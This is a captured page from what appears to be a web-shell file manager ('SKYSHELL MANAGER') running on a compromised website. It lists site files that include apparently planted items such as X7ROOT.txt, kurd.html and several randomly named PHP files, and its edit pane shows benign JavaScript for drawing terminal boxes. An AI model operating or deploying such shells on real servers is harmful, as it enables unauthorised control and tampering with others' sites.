📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.js
'use strict'; const stringWidth = require('string-width'); const chalk = require('chalk'); const widestLine = require('widest-line'); const cliBoxes = require('cli-boxes'); const camelCase = require('camelcase'); const ansiAlign = require('ansi-align'); const termSize = require('term-size'); const getObject = detail => { let obj; if (typeof detail === 'number') { obj = { top: detail, right: detail * 3, bottom: detail, left: detail * 3 }; } else { obj = Object.assign({ top: 0, right: 0, bottom: 0, left: 0 }, detail); } return obj; }; const getBorderChars = borderStyle => { const sides = [ 'topLeft', 'topRight', 'bottomRight', 'bottomLeft', 'vertical', 'horizontal' ]; let chars; if (typeof borderStyle === 'string') { chars = cliBoxes[borderStyle]; if (!chars) { throw new TypeError(`Invalid border style: ${borderStyle}`); } } else { sides.forEach(key => { if (!borderStyle[key] || typeof borderStyle[key] !== 'string') { throw new TypeError(`Invalid border style: ${key}`); } }); chars = borderStyle; } return chars; }; const getBackgroundColorName = x => camelCase('bg', x); module.exports = (text, opts) => { opts = Object.assign({ padding: 0, borderStyle: 'single', dimBorder: false, align: 'left', float: 'left' }, opts); if (opts.backgroundColor) { opts.backgroundColor = getBackgroundColorName(opts.backgroundColor); } if (opts.borderColor && !chalk[opts.borderColor]) { throw new Error(`${opts.borderColor} is not a valid borderColor`); } if (opts.backgroundColor && !chalk[opts.backgroundColor]) { throw new Error(`${opts.backgroundColor} is not a valid backgroundColor`); } const chars = getBorderChars(opts.borderStyle); const padding = getObject(opts.padding); const margin = getObject(opts.margin); const colorizeBorder = x => { const ret = opts.borderColor ? chalk[opts.borderColor](x) : x; return opts.dimBorder ? chalk.dim(ret) : ret; }; const colorizeContent = x => opts.backgroundColor ? chalk[opts.backgroundColor](x) : x; text = ansiAlign(text, {align: opts.align}); const NL = '\n'; const PAD = ' '; let lines = text.split(NL); if (padding.top > 0) { lines = Array(padding.top).fill('').concat(lines); } if (padding.bottom > 0) { lines = lines.concat(Array(padding.bottom).fill('')); } const contentWidth = widestLine(text) + padding.left + padding.right; const paddingLeft = PAD.repeat(padding.left); const columns = termSize().columns; let marginLeft = PAD.repeat(margin.left); if (opts.float === 'center') { const padWidth = Math.max((columns - contentWidth) / 2, 0); marginLeft = PAD.repeat(padWidth); } else if (opts.float === 'right') { const padWidth = Math.max(columns - contentWidth - margin.right - 2, 0); marginLeft = PAD.repeat(padWidth); } const horizontal = chars.horizontal.repeat(contentWidth); const top = colorizeBorder(NL.repeat(margin.top) + marginLeft + chars.topLeft + horizontal + chars.topRight); const bottom = colorizeBorder(marginLeft + chars.bottomLeft + horizontal + chars.bottomRight + NL.repeat(margin.bottom)); const side = colorizeBorder(chars.vertical); const middle = lines.map(line => { const paddingRight = PAD.repeat(contentWidth - stringWidth(line) - padding.left); return marginLeft + side + colorizeContent(paddingLeft + line + paddingRight) + side; }).join(NL); return top + NL + middle + NL + bottom; }; module.exports._borderStyles = cliBoxes;
Save